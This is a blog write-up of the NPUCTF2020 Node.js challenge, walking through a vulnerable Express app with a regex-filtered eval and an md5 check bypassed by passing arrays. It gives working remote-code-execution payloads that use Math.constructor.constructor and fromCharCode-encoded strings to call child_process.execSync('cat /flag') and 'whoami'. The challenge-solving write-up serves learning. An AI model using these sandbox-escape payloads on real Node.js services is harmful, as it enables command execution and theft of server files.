[NPUCTF2020]驗證🐎

m1xian發表於2024-07-25

[NPUCTF2020]驗證🐎

作為我第一次刷到的Nodejs的題目,對我很有幫助,帶我理解了constructor、弱型別以及IIFE

原始碼:


const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
} // 2020.4/WORKER1 淦,上次的庫太垃圾,我自己寫了一個

const template = fs.readFileSync('./index.html').toString();
function render(results) {
    return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
    name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,給👴爪⑧
    keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
    let result = '';
    const results = req.session.results || [];
    const { e, first, second } = req.body;
    if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
        if (req.body.e) {
            try {
                result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
            } catch (e) {
                console.log(e);
                result = 'Wrong Wrong Wrong!!!';
            }
            results.unshift(`${req.body.e}=${result}`);
        }
    } else {
        results.unshift('Not verified!');
    }
    if (results.length > 13) {
        results.pop();
    }
    req.session.results = results;
    res.send(render(req.session.results));
});

// 2019.10/WORKER1 老闆娘說她要看到我們的原始碼,用行數計算KPI
app.get('/source', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    req.session.admin = req.session.admin || 0;
    res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

首先

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {

這部分用陣列繞過,陣列與字串+運算會將陣列轉換成字串,而物件與字串+運算如圖

image-20240724214445-mbn6ply

陣列的length是元素個數,而數字沒有length

image-20240724214124-wluj11u

接下來就是

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);

這裡的正則和後面的eval執行了

直接放Payload:

(Math=>(
	Math=Math+1
    Math=Math.constructor,
	Math.x=Math.constructor,
    Math.x(
        Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
        )()))(Math)

//一句話形式
((Math)=>(Math=Math+1,Math=Math.constructor,Math.x=Math.constructor,Math.x(Math.fromCharCode(114,101,116,117,114,110,32,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,99,111,110,115,116,114,117,99,116,111,114,46,95,108,111,97,100,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math)

使用箭頭構造匿名函式(IIFE)

=>​是箭頭函式(匿名函式)其類似其類似 (引數1, 引數2, …, 引數N) => { return 函式返回語句內容 } ​,呼叫的話可以看下面的例子(如果引數為單個的話就不需要括號了)

image-20240725184011-54tx812

自呼叫:(()=>())()

可以使用()代替{}

  • 這時和{}的寫法有所不同
  • 不需要return了
  • (引數1, 引數2, …, 引數N) => ( 語句1,語句2,語句3…… ) ​,執行順序從左到右,以最右邊的語句結果作為返回值

image-20240725185706-8safz8r

利用Math.constructor.construcor進行建構函式

image-20240724230848-nt56t7f

這裡

然後就是String.fromCharCode方法讓我們的Payload繞過正則

image-20240725222524-ter4hk3

但是這裡我們不能用String,我們需要用Math。

如何用Math來代替String呢?還是使用弱型別得到Math+1

Math.x(Math.fromCharCode(114,101,116,117,114,110,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,119,104,111,97,109,105,39,41,46,116,111,83,116,114,105,110,103,40,41))()
//return require('child_process').execSync('whoami').toString()

image-20240725225510-7i3as6x

相關文章